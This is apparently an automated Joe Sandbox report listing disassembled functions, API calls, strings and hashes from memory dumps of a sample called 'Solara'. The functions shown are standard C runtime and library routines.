Function 00203E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00203EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 00204002

Part of subcall function 0020ABC5: _Yarn.LIBCPMT ref: 0020ABE5
Part of subcall function 0020ABC5: _Yarn.LIBCPMT ref: 0020AC09

Strings

|= e.#, xrefs: 00203E9B, 00203F1F
bad locale name, xrefs: 00203F46

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|= e.#
API String ID: 2070049627-665319736
Opcode ID: cb4c5e7046faf8985872dc9f03bf8365bce99bea033944c043e9bf6482cceec0
Instruction ID: ae264520061c2b4a7a896aa5205b0e3b7210e73b1c667fa8627481c9a62acc35
Opcode Fuzzy Hash: cb4c5e7046faf8985872dc9f03bf8365bce99bea033944c043e9bf6482cceec0
Instruction Fuzzy Hash: C241A1F0A107469BEB10DF69C819B57BBF8BF04714F044229E40997B81E37AE568CBE1

Function 0020B755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0020B809

Strings

csm, xrefs: 0020B7A1
RCC, xrefs: 0020B795
MOC, xrefs: 0020B789

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 393ce3586057cb113479fc6e71392466c747ee493bbb858658075db6c8fee62a
Instruction ID: 1860e45d34eb0c3a1ef8ab83d7ca2ad9be6ee4e8b28ca59ea8234de0b26b5407
Opcode Fuzzy Hash: 393ce3586057cb113479fc6e71392466c747ee493bbb858658075db6c8fee62a
Instruction Fuzzy Hash: 5221F532920706DFDF369F54C855A79B3ACEF40720F14851EE411876E2DB38AEA1CE80

Function 0020F11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0020253A,?,?,00000000), ref: 0020F129
GetExitCodeThread.KERNEL32(?,00000000,?,?,0020253A,?,?,00000000), ref: 0020F142
CloseHandle.KERNEL32(?,?,?,0020253A,?,?,00000000), ref: 0020F154

Strings

:% , xrefs: 0020F134

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%
API String ID: 2551024706-86002043
Opcode ID: 1ec7ce4c30050453981ade5a1dbf435740d08307aef0bb95f76d09a220bfdd6a
Instruction ID: b348fc3a6310e5d0119820c476a28190679a889c634ced3a10dc1ea1668e4b3b
Opcode Fuzzy Hash: 1ec7ce4c30050453981ade5a1dbf435740d08307aef0bb95f76d09a220bfdd6a
Instruction Fuzzy Hash: CDF08231694219FFDF218F24ED0DB9A7B68EB01B70F244720F825EA1E0E731DE518680

Function 0020ABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 0020ABE5
_Yarn.LIBCPMT ref: 0020AC09

Strings

|= e.#, xrefs: 0020ABC8
e.#, xrefs: 0020ABD9

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Yarn
String ID: e.#$|= e.#
API String ID: 1767336200-2959337839
Opcode ID: d5ca90554715e9e1c45b21997ea87e9007dbf4e6b1b09f3f5bc2306a4e157aaf
Instruction ID: 9362ae76a54497c4611eecbf673d89a03653722d8a16f569252d03a8db352167
Opcode Fuzzy Hash: d5ca90554715e9e1c45b21997ea87e9007dbf4e6b1b09f3f5bc2306a4e157aaf
Instruction Fuzzy Hash: A2E06D723283006FFB0CBA65AC62BBA73DCCF04B61F10002EF91A8A5C2ED10BD544A55

Function 00226940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,002269DC,00000000,?,0023D2B0,?,?,?,00226913,00000004,InitializeCriticalSectionEx,00230D34,00230D3C), ref: 0022694D
GetLastError.KERNEL32(?,002269DC,00000000,?,0023D2B0,?,?,?,00226913,00000004,InitializeCriticalSectionEx,00230D34,00230D3C,00000000,?,0021BBBC), ref: 00226957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0022697F

Strings

api-ms-, xrefs: 00226964

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 24e2e4963285345f79f92d8042a3cb211a45ab6ae7a13ef5c807a2719b9def51
Instruction ID: b981261da9a75d92c35e41ecf9f10890a947f056c6354fb8c5a4ca9436b23e6b
Opcode Fuzzy Hash: 24e2e4963285345f79f92d8042a3cb211a45ab6ae7a13ef5c807a2719b9def51
Instruction Fuzzy Hash: C9E01A713A0219BBEF211FA0FC4EB6C3A59AB50B91F548420F94CA84E1DF72ECA09944

Function 00223F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00224001

Part of subcall function 0021C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0021D895,?,00000000,-00000008), ref: 0021C082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00224253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00224299
GetLastError.KERNEL32 ref: 0022433C

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: c34052555d5c8e8a72d4a3eaf0f7f51d44e96a4ec98f24f5543f74e95478ad54
Instruction ID: 19997a14538c4de0858a979c975deb6978a0a57f4ffe9972e2e2eb77d4d0fc40
Opcode Fuzzy Hash: c34052555d5c8e8a72d4a3eaf0f7f51d44e96a4ec98f24f5543f74e95478ad54
Instruction Fuzzy Hash: 07D19A75D10268AFCF05DFE8E880AEDBBB9FF08314F24416AE915EB251D630A961CF50

Function 0021B295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0021B35C
___AdjustPointer.LIBCMT ref: 0021B37F
___AdjustPointer.LIBCMT ref: 0021B41B

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ef1f07c1ec7de01082e8cda8945153ee669e659c16c6db0beb6ff04263491f5e
Instruction ID: 3b40f7e05db38dc84b1720b0900b7cb61605440474375b1ebe885c9ac190a288
Opcode Fuzzy Hash: ef1f07c1ec7de01082e8cda8945153ee669e659c16c6db0beb6ff04263491f5e
Instruction Fuzzy Hash: CC51D271A206069FEB2A9F60C995BEA73F4EF20710F14406DEC2686291D771ECF0CB90

Function 00207220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 002072C5
std::_Throw_Cpp_error.LIBCPMT ref: 00207395
std::_Throw_Cpp_error.LIBCPMT ref: 002073A3
std::_Throw_Cpp_error.LIBCPMT ref: 002073B1

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 1e7986c926b914f8dba4bd5c86be6708f89d8f939a81e02059444ff17b03d047
Instruction ID: 6932ddfa13a3a226d77253f0ceb00fc9493603c2a466cdff85a35e247c48afba
Opcode Fuzzy Hash: 1e7986c926b914f8dba4bd5c86be6708f89d8f939a81e02059444ff17b03d047
Instruction Fuzzy Hash: E74104B0D143068BEB20DF24C84576EB7A9BF44320F144679D816476D3EB30F864CB91

Function 00221DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0021C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0021D895,?,00000000,-00000008), ref: 0021C082

GetLastError.KERNEL32 ref: 00221E2A
__dosmaperr.LIBCMT ref: 00221E31
GetLastError.KERNEL32 ref: 00221E6B
__dosmaperr.LIBCMT ref: 00221E72

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: b71d94ffe3739cdebbbdeaf577f0ebc43e4d78e4dee4c0d181224bf7827bca92
Instruction ID: 95a721e49a107ad998b59e350c94c971096423cbd010f819ce805b82adf2c71c
Opcode Fuzzy Hash: b71d94ffe3739cdebbbdeaf577f0ebc43e4d78e4dee4c0d181224bf7827bca92
Instruction Fuzzy Hash: FF21D631624225BFCB20AFE5AC81C6BB7ACFF243647128519FC1593151D731EC708B90

Function 00212BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 722b31ca8e9819d1e9e904e67370531fe26005878dac3550cc0733d6f8727e5e
Instruction ID: d07f5df7419872cec9888869e53dc6f99496184865304930b90054f9bcad9419
Opcode Fuzzy Hash: 722b31ca8e9819d1e9e904e67370531fe26005878dac3550cc0733d6f8727e5e
Instruction Fuzzy Hash: 7A219F71224216EF9B20AF658C809EAB7ECFF60364B11451AF95597250EB30EDF48BE0

Function 002231BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 002231C6

Part of subcall function 0021C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0021D895,?,00000000,-00000008), ref: 0021C082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002231FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0022321E

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 438506718cccd09663b851d53e6607550b165feb887a7310fb3090a311708a08
Instruction ID: c6daf4b9f0d2a74d85853bba612e0cae61bf6a74bf543653af9d0c204fb0404d
Opcode Fuzzy Hash: 438506718cccd09663b851d53e6607550b165feb887a7310fb3090a311708a08
Instruction Fuzzy Hash: B51126B2520126BEA7126BF1BC8DCFF6AACDEA53947100615FE01D1100FFA8DF6045B0

Function 0022ADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0022A2EF,00000000,00000001,00000000,?,?,00224390,?,00000000,00000000), ref: 0022ADB7
GetLastError.KERNEL32(?,0022A2EF,00000000,00000001,00000000,?,?,00224390,?,00000000,00000000,?,?,?,00223CD6,00000000), ref: 0022ADC3

Part of subcall function 0022AE20: CloseHandle.KERNEL32(FFFFFFFE,0022ADD3,?,0022A2EF,00000000,00000001,00000000,?,?,00224390,?,00000000,00000000,?,?), ref: 0022AE30

___initconout.LIBCMT ref: 0022ADD3

Part of subcall function 0022ADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0022AD91,0022A2DC,?,?,00224390,?,00000000,00000000,?), ref: 0022AE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0022A2EF,00000000,00000001,00000000,?,?,00224390,?,00000000,00000000,?), ref: 0022ADE8

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 52c2eda6632a463cf493cbb4a12d9a8813ff67ddb8c5704cf0f8e79576f97095
Instruction ID: 1bf040765187c12de49108523e503f91953c96913b5ef05114f41fa94e4318fb
Opcode Fuzzy Hash: 52c2eda6632a463cf493cbb4a12d9a8813ff67ddb8c5704cf0f8e79576f97095
Instruction Fuzzy Hash: 20F0A536514129BBCF222FD5FC0C99A7F2AFF497A2B158011FE1996520DB728C70AB91

Function 002104F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00210507
GetCurrentThreadId.KERNEL32 ref: 00210516
GetCurrentProcessId.KERNEL32 ref: 0021051F
QueryPerformanceCounter.KERNEL32(?), ref: 0021052C

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0b6a34b65c2d5d75c98ef3466b77d2ddaf6f591ea9ba62189a6f9068e181be5c
Instruction ID: 705b04da74523c25aefb40997117b4e1cc6ef16524ec99257403520457a5d74c
Opcode Fuzzy Hash: 0b6a34b65c2d5d75c98ef3466b77d2ddaf6f591ea9ba62189a6f9068e181be5c
Instruction Fuzzy Hash: C8F06274D1020DEBCB00DFB4EA4D99EBBF8FF1C200B918996E412E7110EB30AB449B50

Function 0042B2BF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(7D787C77), ref: 0042B401

Strings

w|x}, xrefs: 0042B313
{twu, xrefs: 0042B321

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: FreeLibrary
String ID: w|x}${twu
API String ID: 3664257935-2056895081
Opcode ID: f539b04b79fbd5a4ee96ab0cc1500a14f2fd8363b97cca63592658fd2fef03a9
Instruction ID: ad4eca1e8878c599869501c4a4c834edc0f3a287093d1f4f6bd4605c54d815ff
Opcode Fuzzy Hash: f539b04b79fbd5a4ee96ab0cc1500a14f2fd8363b97cca63592658fd2fef03a9
Instruction Fuzzy Hash: 134106702047919BD325CB26D8A0B23BFA2FF56304F28449DE8D74B792D776A806CB55

Function 0021B992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0021B893,?,?,00000000,00000000,00000000,?), ref: 0021B9B7

Strings

MOC, xrefs: 0021B9C9
RCC, xrefs: 0021B9D1

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 1751927071cd287e5c88d93c3276c0e6b44ec5ac347b5cd2895ddcc1331e7170
Instruction ID: 0fa30f31161f47f40f510c627690f1230dc360bdd2dec2c5ed28d76b3d1338f5
Opcode Fuzzy Hash: 1751927071cd287e5c88d93c3276c0e6b44ec5ac347b5cd2895ddcc1331e7170
Instruction Fuzzy Hash: 0641587291020AAFCF16DF94CD81AEEBBF5BF58300F188199FA14A7211D33599A1DF91

Function 0021B1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0021B475

Strings

csm, xrefs: 0021B508
csm, xrefs: 0021B497

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 63e6f2f8acef846649f289196d197701d653ebf00a9b9ce66aef5b5918743466
Instruction ID: be8229ece32eb8eb03166fae194580bf0e8fc8b6924bbc3aee15c0993f5f4772
Opcode Fuzzy Hash: 63e6f2f8acef846649f289196d197701d653ebf00a9b9ce66aef5b5918743466
Instruction Fuzzy Hash: 6231C17642021AEBCF238F50C8449EA7BBBEB28314B58825AF84449122D332DDF1DBD1

Function 00433B50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00433B94
GetSystemMetrics.USER32 ref: 00433BA3

Strings

, xrefs: 00433C51

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 3efe5e15a040c20ad3956fb72348d2255a859aad6db8ca8fd35423a25da7e847
Instruction ID: a4c36ad8ef0da8643507f4b97a195c025e35b17d4a145554757d969e10ed3f8c
Opcode Fuzzy Hash: 3efe5e15a040c20ad3956fb72348d2255a859aad6db8ca8fd35423a25da7e847
Instruction Fuzzy Hash: 2C31B4F49143148FDB00EF68DA84649BBF4BF89304F51856EF498DB360D7B4A948CB82

Function 0020B831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0020B8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0020B8DE

Part of subcall function 0021060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0020F354,00000000,?,?,?,0020F354,00203D4A,0023759C,00203D4A), ref: 0021066D

Part of subcall function 00218353: IsProcessorFeaturePresent.KERNEL32(00000017,0021378B,?,?,?,?,00000000,?,?,?,0020B5AC,0020B4E0,00000000,?,?,0020B4E0), ref: 0021836F

Strings

csm, xrefs: 0020B86D

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

